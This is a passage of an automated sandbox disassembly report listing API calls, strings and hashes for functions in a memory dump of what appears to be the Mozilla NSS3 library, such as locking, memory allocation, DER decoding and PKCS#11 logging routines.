PORT_ZAlloc_Util.NSS3(0000000C,?,?,?,6C7691C5), ref: 6C7678FA
strchr.VCRUNTIME140(?,0000003A,?,?,?,?,?,?,?,?,?,?,6C7691C5), ref: 6C767930
PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C7691C5), ref: 6C767951
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C767964
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C76797A
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000001), ref: 6C767988
memcpy.VCRUNTIME140(?,00000001,00000001), ref: 6C767998
free.MOZGLUE(00000000), ref: 6C7679A7
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,6C7691C5), ref: 6C7679BB
PR_GetCurrentThread.NSS3(?,?,?,?,6C7691C5), ref: 6C7679CA

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Util$Error$Alloc_HashLookupTablememcpy$ConstCurrentFindItem_ThreadZfreefreestrchrstrcmpstrlen
String ID:
API String ID: 1862276529-0
Opcode ID: f801ba7624d3521db9502a7a770bee5612ac31073f608539064fab1d37d935e7
Instruction ID: e562ce6b078bcb97d573fcfc657cc51c6ae394462c010e3bb3b5d604210b5ace
Opcode Fuzzy Hash: f801ba7624d3521db9502a7a770bee5612ac31073f608539064fab1d37d935e7
Instruction Fuzzy Hash: DD4197B1A003029BEB108B7BDE49B6777E8AF45398F140534EC1997F51E721EC04CBA1

Function 6C684C70 Relevance: 18.1, APIs: 12, Instructions: 116threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6C683921,6C8614E4,6C7CCC70), ref: 6C684C97
EnterCriticalSection.KERNEL32(?,?,?,?,6C683921,6C8614E4,6C7CCC70), ref: 6C684CB0
PR_Unlock.NSS3(?,?,?,?,?,6C683921,6C8614E4,6C7CCC70), ref: 6C684CC9
TlsGetValue.KERNEL32(?,?,?,?,?,6C683921,6C8614E4,6C7CCC70), ref: 6C684D11
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6C683921,6C8614E4,6C7CCC70), ref: 6C684D2A
PR_NotifyAllCondVar.NSS3(?,?,?,?,?,?,?,6C683921,6C8614E4,6C7CCC70), ref: 6C684D4A
PR_Unlock.NSS3(?,?,?,?,?,?,?,6C683921,6C8614E4,6C7CCC70), ref: 6C684D57
PR_GetCurrentThread.NSS3(?,?,?,?,?,6C683921,6C8614E4,6C7CCC70), ref: 6C684D97
PR_Lock.NSS3(?,?,?,?,?,6C683921,6C8614E4,6C7CCC70), ref: 6C684DBA
PR_WaitCondVar.NSS3 ref: 6C684DD4
PR_Unlock.NSS3(?,?,?,?,?,6C683921,6C8614E4,6C7CCC70), ref: 6C684DE6
PR_GetCurrentThread.NSS3(?,?,?,?,?,6C683921,6C8614E4,6C7CCC70), ref: 6C684DEF

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Unlock$CondCriticalCurrentEnterSectionThreadValue$LockNotifyWait
String ID:
API String ID: 3388019835-0
Opcode ID: 224b6976bdba805b25e2ec61be61419c950873ee0cc85a5549816226993b9e6f
Instruction ID: 871c29196e622a4c04161c6f1f5387901abddff3fda0d4b41ca3c12f0a23cbad
Opcode Fuzzy Hash: 224b6976bdba805b25e2ec61be61419c950873ee0cc85a5549816226993b9e6f
Instruction Fuzzy Hash: 9A41C0B5A09611CFCB10AF79C0981697BF8BF0A318F055679DC889B711EB70D881CBDA

Function 6C817CD0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 113threadstringCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6C817CE0

Part of subcall function 6C7C9BF0: TlsGetValue.KERNEL32(?,?,?,6C810A75), ref: 6C7C9C07

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C817D36
PR_Realloc.NSS3(?,00000080), ref: 6C817D6D
PR_GetCurrentThread.NSS3 ref: 6C817D8B
PR_snprintf.NSS3(?,?,NSPR_INHERIT_FDS=%s:%d:0x%lx,?,?,?), ref: 6C817DC2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C817DD8
malloc.MOZGLUE(00000080), ref: 6C817DF8
PR_GetCurrentThread.NSS3 ref: 6C817E06

Strings

:%s:%d:0x%lx, xrefs: 6C817DB9
NSPR_INHERIT_FDS=%s:%d:0x%lx, xrefs: 6C817DF0

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: CurrentThread$strlen$R_snprintfReallocValuemalloc
String ID: :%s:%d:0x%lx$NSPR_INHERIT_FDS=%s:%d:0x%lx
API String ID: 530461531-3274975309
Opcode ID: 6452ceb26844328edfbd0e0c0a5d19ec5c6c7f6d64be91328a5e74eb14ef8838
Instruction ID: 52a30f3625c822e467a1f4727a9bc33763aa8794a39dc418ba80890e7ebe65da
Opcode Fuzzy Hash: 6452ceb26844328edfbd0e0c0a5d19ec5c6c7f6d64be91328a5e74eb14ef8838
Instruction Fuzzy Hash: D341D6B161420A9FDB14CF28CE84D6B37E6FF85318B25496CE8198BF51D731E801CBA1

Function 6C817E20 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 103filestringpipeCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C817E37
PR_GetEnvSecure.NSS3(NSPR_INHERIT_FDS), ref: 6C817E46

Part of subcall function 6C6F1240: TlsGetValue.KERNEL32(00000040,?,6C6F116C,NSPR_LOG_MODULES), ref: 6C6F1267
Part of subcall function 6C6F1240: EnterCriticalSection.KERNEL32(?,?,?,6C6F116C,NSPR_LOG_MODULES), ref: 6C6F127C
Part of subcall function 6C6F1240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C6F116C,NSPR_LOG_MODULES), ref: 6C6F1291
Part of subcall function 6C6F1240: PR_Unlock.NSS3(?,?,?,?,6C6F116C,NSPR_LOG_MODULES), ref: 6C6F12A0

PR_sscanf.NSS3(00000001,%d:0x%lx,?,?), ref: 6C817EAF
PR_ImportFile.NSS3(?), ref: 6C817ECF
PR_GetCurrentThread.NSS3 ref: 6C817ED6
PR_ImportTCPSocket.NSS3(?), ref: 6C817F01
PR_ImportUDPSocket.NSS3(?,?), ref: 6C817F0B
PR_ImportPipe.NSS3(?,?,?), ref: 6C817F15

Strings

NSPR_INHERIT_FDS, xrefs: 6C817E41
%d:0x%lx, xrefs: 6C817EA9

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Import$Socket$CriticalCurrentEnterFilePipeR_sscanfSectionSecureThreadUnlockValuegetenvstrlen
String ID: %d:0x%lx$NSPR_INHERIT_FDS
API String ID: 2743735569-629032437
Opcode ID: 590d7700fe6e05c8d13fe640a59d0d63ca294359aeba196bd326841061084d15
Instruction ID: 20905fa041d150507a76e906d2e22353f51296070c2fcb1abc91ab42239c29b1
Opcode Fuzzy Hash: 590d7700fe6e05c8d13fe640a59d0d63ca294359aeba196bd326841061084d15
Instruction Fuzzy Hash: 88312770A0811B9BEB209B69CA40AABB7E9BF06748F104D39D40593E11E761DD04CBD2

Function 6C724E50 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C724E90
EnterCriticalSection.KERNEL32 ref: 6C724EA9
TlsGetValue.KERNEL32 ref: 6C724EC6
EnterCriticalSection.KERNEL32 ref: 6C724EDF
PL_HashTableLookup.NSS3 ref: 6C724EF8
PR_Unlock.NSS3 ref: 6C724F05
PR_Now.NSS3 ref: 6C724F13
PR_Unlock.NSS3 ref: 6C724F3A

Part of subcall function 6C6F07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C68204A), ref: 6C6F07AD
Part of subcall function 6C6F07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C68204A), ref: 6C6F07CD
Part of subcall function 6C6F07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C68204A), ref: 6C6F07D6
Part of subcall function 6C6F07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C68204A), ref: 6C6F07E4
Part of subcall function 6C6F07A0: TlsSetValue.KERNEL32(00000000,?,6C68204A), ref: 6C6F0864
Part of subcall function 6C6F07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C6F0880
Part of subcall function 6C6F07A0: TlsSetValue.KERNEL32(00000000,?,?,6C68204A), ref: 6C6F08CB
Part of subcall function 6C6F07A0: TlsGetValue.KERNEL32(?,?,6C68204A), ref: 6C6F08D7
Part of subcall function 6C6F07A0: TlsGetValue.KERNEL32(?,?,6C68204A), ref: 6C6F08FB

Strings

bUrl, xrefs: 6C724E5C
bUrl, xrefs: 6C724F3F

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockcalloc$HashLookupTable
String ID: bUrl$bUrl
API String ID: 326028414-462365213
Opcode ID: ee6a911a6e3d8d823119712561e11c1e41660212d66f4c30c1cc7034a5801577
Instruction ID: 8f99d4792ed39a23dc0c318ef29647433782ebdda077b6c8892a977cf55d1246
Opcode Fuzzy Hash: ee6a911a6e3d8d823119712561e11c1e41660212d66f4c30c1cc7034a5801577
Instruction Fuzzy Hash: DA4168B4A00605DFCB10EF68C5848AABBF4FF49318B058669EC599B711EB34E885CFD1

Function 6C74ECE0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,00000000,?,?,6C74DE64), ref: 6C74ED0C
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C74ED22

Part of subcall function 6C75B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C8318D0,?), ref: 6C75B095

PL_FreeArenaPool.NSS3(?), ref: 6C74ED4A
PL_FinishArenaPool.NSS3(?), ref: 6C74ED6B
PR_CallOnce.NSS3(6C862AA4,6C7612D0), ref: 6C74ED38

Part of subcall function 6C684C70: TlsGetValue.KERNEL32(?,?,?,6C683921,6C8614E4,6C7CCC70), ref: 6C684C97
Part of subcall function 6C684C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C683921,6C8614E4,6C7CCC70), ref: 6C684CB0
Part of subcall function 6C684C70: PR_Unlock.NSS3(?,?,?,?,?,6C683921,6C8614E4,6C7CCC70), ref: 6C684CC9

SECOID_FindOID_Util.NSS3(?), ref: 6C74ED52
PR_CallOnce.NSS3(6C862AA4,6C7612D0), ref: 6C74ED83
PL_FreeArenaPool.NSS3(?), ref: 6C74ED95
PL_FinishArenaPool.NSS3(?), ref: 6C74ED9D

Part of subcall function 6C7664F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6C76127C,00000000,00000000,00000000), ref: 6C76650E

Strings

security, xrefs: 6C74ED06

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: ArenaPool$CallFinishFreeOnceUtil$CriticalDecodeEnterErrorFindInitItem_QuickSectionUnlockValuefree
String ID: security
API String ID: 3323615905-3315324353
Opcode ID: 7da1b89c4d4878e0c870b65e7a79600608f0e622d2de5da66ff0e3fa050bdd6c
Instruction ID: 064460ce8181ff51a4ab2d13fb3278918617d9c8da9fc2e85191e073d905ea36
Opcode Fuzzy Hash: 7da1b89c4d4878e0c870b65e7a79600608f0e622d2de5da66ff0e3fa050bdd6c
Instruction Fuzzy Hash: C61180729002186BD7209666AF4DBBBB278AF4171DF444934EC1462F40FB74A70CCAE7

Function 6C732CD0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 73COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitToken), ref: 6C732CEC
PR_LogPrint.NSS3( slotID = 0x%x,?), ref: 6C732D07

Part of subcall function 6C8109D0: PR_Now.NSS3 ref: 6C810A22
Part of subcall function 6C8109D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C810A35
Part of subcall function 6C8109D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C810A66
Part of subcall function 6C8109D0: PR_GetCurrentThread.NSS3 ref: 6C810A70
Part of subcall function 6C8109D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C810A9D
Part of subcall function 6C8109D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C810AC8
Part of subcall function 6C8109D0: PR_vsmprintf.NSS3(?,?), ref: 6C810AE8
Part of subcall function 6C8109D0: EnterCriticalSection.KERNEL32(?), ref: 6C810B19
Part of subcall function 6C8109D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C810B48
Part of subcall function 6C8109D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C810C76
Part of subcall function 6C8109D0: PR_LogFlush.NSS3 ref: 6C810C7E

PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6C732D22

Part of subcall function 6C8109D0: OutputDebugStringA.KERNEL32(?), ref: 6C810B88
Part of subcall function 6C8109D0: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C810C5D
Part of subcall function 6C8109D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6C810C8D
Part of subcall function 6C8109D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C810C9C
Part of subcall function 6C8109D0: OutputDebugStringA.KERNEL32(?), ref: 6C810CD1
Part of subcall function 6C8109D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6C810CEC
Part of subcall function 6C8109D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C810CFB
Part of subcall function 6C8109D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C810D16
Part of subcall function 6C8109D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6C810D26
Part of subcall function 6C8109D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C810D35
Part of subcall function 6C8109D0: OutputDebugStringA.KERNEL32(0000000A), ref: 6C810D65
Part of subcall function 6C8109D0: fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6C810D70
Part of subcall function 6C8109D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C810D90
Part of subcall function 6C8109D0: free.MOZGLUE(00000000), ref: 6C810D99

PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6C732D3B

Part of subcall function 6C8109D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6C810BAB
Part of subcall function 6C8109D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C810BBA
Part of subcall function 6C8109D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C810D7E

PR_LogPrint.NSS3( pLabel = 0x%p,?), ref: 6C732D54

Part of subcall function 6C8109D0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C810BCB
Part of subcall function 6C8109D0: EnterCriticalSection.KERNEL32(?), ref: 6C810BDE
Part of subcall function 6C8109D0: OutputDebugStringA.KERNEL32(?), ref: 6C810C16

Strings

pLabel = 0x%p, xrefs: 6C732D4F
slotID = 0x%x, xrefs: 6C732D02
pPin = 0x%p, xrefs: 6C732D1D
C_InitToken, xrefs: 6C732CE7
ulPinLen = %d, xrefs: 6C732D36

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: DebugOutputString$Printfflush$fwrite$CriticalEnterR_snprintfSection$CurrentExplodeFlushR_vsmprintfR_vsnprintfThreadTimefputcfreememcpystrlen
String ID: pLabel = 0x%p$ pPin = 0x%p$ slotID = 0x%x$ ulPinLen = %d$C_InitToken
API String ID: 420000887-1567254798
Opcode ID: 47578aa3061a74ee25ef9b56228af4af52c3e68ef68d27c3d5f106f93df604b5
Instruction ID: 6856a56f25967eaefc981f22ed909b3956ff5750b841cd79700bf2c10bd0b7bb
Opcode Fuzzy Hash: 47578aa3061a74ee25ef9b56228af4af52c3e68ef68d27c3d5f106f93df604b5
Instruction Fuzzy Hash: 2621F175205054AFDB219B55DF4DA693BB5EB8231DF046470F5089BB23CB38A858CBE1

Function 6C810EB0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Aborting,?,6C6F2357), ref: 6C810EB8
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(6C6F2357), ref: 6C810EC0
PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6C810EE6

Part of subcall function 6C8109D0: PR_Now.NSS3 ref: 6C810A22
Part of subcall function 6C8109D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C810A35
Part of subcall function 6C8109D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C810A66
Part of subcall function 6C8109D0: PR_GetCurrentThread.NSS3 ref: 6C810A70
Part of subcall function 6C8109D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C810A9D
Part of subcall function 6C8109D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C810AC8
Part of subcall function 6C8109D0: PR_vsmprintf.NSS3(?,?), ref: 6C810AE8
Part of subcall function 6C8109D0: EnterCriticalSection.KERNEL32(?), ref: 6C810B19
Part of subcall function 6C8109D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C810B48
Part of subcall function 6C8109D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C810C76
Part of subcall function 6C8109D0: PR_LogFlush.NSS3 ref: 6C810C7E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6C810EFA

Part of subcall function 6C6FAEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6C6FAF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C810F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C810F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C810F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C810F2B

Strings

Assertion failure: %s, at %s:%d, xrefs: 6C810ED9, 6C810EE5, 6C810F06, 6C810F0B
Aborting, xrefs: 6C810EB3

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: DebugPrintR_snprintf__acrt_iob_funcabort$BreakCriticalCurrentEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime__stdio_common_vfprintffflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 3905088656-1374795319
Opcode ID: 199c7f2a02c49eeafef970717460c95968a5641a3ab1ae3a49c3ed7b48723253
Instruction ID: 325c1dda61198b920c477df8adbc04f468b77440543c4db2ba49722e2fe7e217
Opcode Fuzzy Hash: 199c7f2a02c49eeafef970717460c95968a5641a3ab1ae3a49c3ed7b48723253
Instruction Fuzzy Hash: E6F0A4B59001187BDA617B609C49C9B3E2DDF46269F404834FD0956603DB79E924DAF3

Function 6C774DB0 Relevance: 16.9, APIs: 11, Instructions: 395memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400), ref: 6C774DCB

Part of subcall function 6C760FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C7087ED,00000800,6C6FEF74,00000000), ref: 6C761000
Part of subcall function 6C760FF0: PR_NewLock.NSS3(?,00000800,6C6FEF74,00000000), ref: 6C761016
Part of subcall function 6C760FF0: PL_InitArenaPool.NSS3(00000000,security,6C7087ED,00000008,?,00000800,6C6FEF74,00000000), ref: 6C76102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000001C), ref: 6C774DE1

Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C7610F3
Part of subcall function 6C7610C0: EnterCriticalSection.KERNEL32(?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76110C
Part of subcall function 6C7610C0: PL_ArenaAllocate.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761141
Part of subcall function 6C7610C0: PR_Unlock.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761182
Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76119C

PORT_ArenaAlloc_Util.NSS3(?,0000001C), ref: 6C774DFF
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C774E59

Part of subcall function 6C75FAB0: free.MOZGLUE(?,-00000001,?,?,6C6FF673,00000000,00000000), ref: 6C75FAC7

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C83300C,00000000), ref: 6C774EB8
SECOID_FindOID_Util.NSS3(?), ref: 6C774EFF
memcmp.VCRUNTIME140(?,00000000,00000000), ref: 6C774F56
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C77521A

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_Item_Value$AllocateCriticalDecodeEnterFindFreeInitLockPoolQuickSectionUnlockZfreecallocfreememcmp
String ID:
API String ID: 1025791883-0
Opcode ID: 8e62f1bccbfc14d8ddd926f430311ba46d80deae4e9d6143c5c70575dd052f94
Instruction ID: 3e7a4717d974f12adccb4836e9cfff8d1d25040f1b4190da259b7fc3db865403
Opcode Fuzzy Hash: 8e62f1bccbfc14d8ddd926f430311ba46d80deae4e9d6143c5c70575dd052f94
Instruction Fuzzy Hash: D7F19B71E00209CBDF24CF54EA447AEB7B2BF44358F258129E915AB781E775E981CFA0

Function 6C704FD0 Relevance: 16.6, APIs: 11, Instructions: 112COMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(00000001,00000000,6C850148,?,6C716FEC), ref: 6C70502A
PR_NewLock.NSS3(00000001,00000000,6C850148,?,6C716FEC), ref: 6C705034
